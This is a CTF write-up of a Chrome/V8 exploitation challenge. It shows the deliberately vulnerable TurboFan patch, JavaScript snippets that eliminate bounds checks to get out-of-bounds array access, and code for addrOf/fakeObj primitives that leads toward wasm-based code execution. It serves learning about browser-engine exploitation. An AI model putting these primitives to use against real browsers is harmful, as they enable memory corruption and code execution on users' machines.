### TL;DR

A few days ago, we played a CTF that has an interesting Chrome exploitation challenge. The author of the challenge applied a deliberate and vulnerable patch to the latest chromium running with a --no-sandbox flag.

To get the flag, we must use this bug to achieve remote code execution (RCE) in the web process. Utimately, we first turn this bug into an array off-by-one bug through bounds check elimination (BCE). Then we manipulate the heap to get stable addrOf and fakeObj primitives. Finally, we use this bug to spawn a calculator on Ubuntu 18.04 successfully.

### The Customized Patch & Bug

diff --git a/src/compiler/machine-operator-reducer.cc b/src/compiler/machine-operator-reducer.cc
index a6a8e87cf4..164ab44fab 100644
--- a/src/compiler/machine-operator-reducer.cc
+++ b/src/compiler/machine-operator-reducer.cc
@@ -291,7 +291,7 @@ Reduction MachineOperatorReducer::Reduce(Node* node) {
if (m.left().Is(kMaxUInt32)) return ReplaceBool(false);  // M < x => false
if (m.right().Is(0)) return ReplaceBool(false);          // x < 0 => false
if (m.IsFoldable()) {                                    // K < K => K
-        return ReplaceBool(m.left().Value() < m.right().Value());
+        return ReplaceBool(m.left().Value() < m.right().Value() + 1);
}
if (m.LeftEqualsRight()) return ReplaceBool(false);  // x < x => false
if (m.left().IsWord32Sar() && m.right().HasValue()) {


The patch is interesting because it only use two characters. The bug exists in the MachineOperatorReducer phase, a very late optimization phase.

The IR kUint32LessThan is used to compare two uint32 numbers. In this phase (MachineOperatorReducer), the compiler tries to fold some deterministic comparisons. e.g., for any $\theta$, $kMaxUint32 < \theta$ is folded into $False$. Also, for any comparison between constants, the expression is folded into a determinitic boolean value. e.g., $4 < 4$ is folded into $False$.

The patch introduces a mistable in the fold operation. When the compiler trying to fold the expression, it adds $1$ to the right value, resulting in some correct folds. e.g., $4 < 4$ ($False$) is treated as $4 < 5$ , generating a wrong result: $True$.

Intuitively, this bug can not be leveraged to trigger memory corruption directly; and thus, we tries to use this bug to get some stronger primitives.

### Bounds Check Elimination

Previously, there are several typer bugs have been exploited by eliminating the bounds check when accessing JS arraies. Therefore, we would like investigate if the bug can be exploited through similar approaches.

However, Chromium has decided to disable this optimization to harden turbofan's bounds check against typer bugs in Simplified lowering phase.

Fortunately, we noticed that there are still some samilar bugs could be exploited. e.g., the String#lastIndexOf bug depicted by Jeremy Fetiveau1. As this blog indicates, we notice that the BCE hardening can be bypassed.

### Finding a path to eliminate the bounds check

To boost our analysis, we use --trace-turbo flag and turbolizer of d8 to check the Sea of Nodes IR generated by TurboFan2.

To date, although the simplified lowering phase does not remove the CheckBounds node, it is replaced by a CheckedUint32Bounds node (source codes). In this way, in the Effect Control Linearization phase, The CheckedUint32Bounds is replaced by a Uint32LessThan node. According to result of uint32 comparison, generating a LoadElement node or an Unreachable node (source codes).

e.g., for the following codes,

function opt(){
let arr = [0, 1, 2, 3];
let idx = 3;
return arr[idx];
}

for(var i=0; i < 0x10000; i++)
opt()

var x = opt()
console.log(x)

// output
$./d8 ./test.js$ 3


the compiler generates this graph. It works and eliminates the bounds check correctly.

The procedure to eliminate the bounds check

Because $(3 < 4)\equiv True$, without any bounds check, the function loads elements directly.

Right now, the idea to exploit it is quite clear: using the wrong result generated by Uint32LessThan to eliminate the bounds check, constructing an OOB array.

### Constant Folding and Two ways to bypass it

Now we would like have the very first try, expecting the element acccess is out-of-bounds (OOB).

function opt() {
let arr = [0, 1, 2, 3];
let idx = 4;
return arr[idx];
}

...

// output
$./d8 ./test.js$ undefined


Unfortunately, this code snippet cannot result in OOB acccess.

After some investigation, we noticed that the LoadElement node is disappeared.

The LoadElement node has disappeared

Suddenly, we realized that the variable idx is removed by the constant folding in LoadElimination phase3. Hence the LoadElement node is disappeared.

To avoid the constant folding, we need to assign an indeterministic Range to the CheckBounds node. Therefore, we can apply some arithmetical operations to this variable.

function opt(){
let arr = [1.1, 2, 3, 5]

let idx = 4;
idx &= 0xfff;
return arr[idx];
}

...

// output
$./d8 ./test.js$ 8.714350797546e-311


The constant folding has been bypassed

Cool! It works, the array accessed an OOB element successfuly! Technically, we can use it to fulfill our exploitation right now. However, personally I prefer another elegant approach: Escape Analysis.

### Escape Analysis

Escape analysis is an optimization phase that can be used to remove temporary objects. e.g., because object "o" is unescaped, the temprary object "o" in the following codes is removed through the escape analysis optimization.

// before escape analysis
function foo() {
var o = {x: 1, y:2};
console.log(o.x);
}

// after escape analysis
function foo() {
console.log(1);
}


Because the escape analysis runs behind the LoadElimination and MachineOperatorReducer, we can put a constant into an unescaped object to avoid the constant folding.

function opt(){
let arr = [1.1, 2, 3, 5];

let o = {x: 4};
return arr[o.x];
}

...

// output

$./d8 ./test.js$ 1.99567061273097e-310


Now, we get an array off-by-one vulnerability successfully.

### Exploiting the Off-By-One

The layout of JS objects in V8

In V8, the type of objects is determined by the Map4. As a result, if we can replace a double array's map with a var array, a type confusion array cound be constructed.

Because map is the first member of the JS object, by manipulating the heap fengshui, we make two adjacent arraies and try to use the first one to read or write the second one's map.

Faking objects by leveraging the Off-By-One bug

Now the baisc idea is that we can construct two OOB array, the first is used to leak information, and the second one is used to fake objects. The firgue shows how to fake objects.

### Heap Feng Shui

The layout of JS array while debugging

Unfortunately, after investigating, we noticed the layout of heap is very weird. The backstore always place in the front of the array header. Therefore, we can only read the array's own map object.

That's fine for leaking double array's map. However, we can not get var array's map using this way, because the map retrieved is encoded as a format of object; and thus, we cannot know the address of it.

Fortunately, v8 uses an idependent heap to store Map objects. the memory layout in this region is relatively stable. Therefore, we can use the address of double map to caculate the jsvar map by leveraing a fixed offset.

### Constructing Stable Exploitation Primitives

Originally, We use the following codes to leak information and fake objects.

var lkrefs = [];

function leaker(obj) {
var a = [obj, obj, obj, obj];
lkrefs.push(a);
var o = {a: 4};
a[o.a] = [double_map];
return a;
}

function addrOf(obj) {
for(var i = 0; i < 12000; i++) {
var ppp = leaker(obj);
}
return ppp[0];
}

function faker(addr) {
var a = [addr, addr, addr, addr];
lkrefs.push(a);
var o = {a: 4};
a[o.a] = [var_array_map];
return a;
}

function fakeObj(addr) {
for(var i = 0; i < 12000; i++) {
var ppp = faker(addr);
}
return ppp[0];
}


However, it is very unstable. If we use this primitive too many times, it triggers garbage collection. The fake objects will be corrupted, and the process will crash.

Hence, we use a fake array to avoid it and get reusebale addrOf and fakeObj primitive.

var o = {
a: 0.0,
b: [map],
c: {},
d: addrOf(o),
e: 0x0000100400000000, //length
f: {}
}

faked = addrOf(o) + 0x20;

var fake_arr = fake_obj(faked.asDouble());

// we create a stable primitive
function addrof(obj) {
o.d = addr_o.asDouble();
o.b = [var map];
fake_arr[7] = obj;
o.b = [double map];
return fake_arr[7];
}

function fakeobj(addr) {
o.d = addr_o.asDouble();
o.b = [double map];
fake_arr[7] = addr;
o.b = [var map];
return fake_arr[7];
}


### Code Execution

With stable and reusable addrOf and fakeObj primitive, now the exploitation is quite easier.

We simply follow the well-known tricks to get arbitrary address read/write primitives and overwrite the memory of wasm code to get code exection5.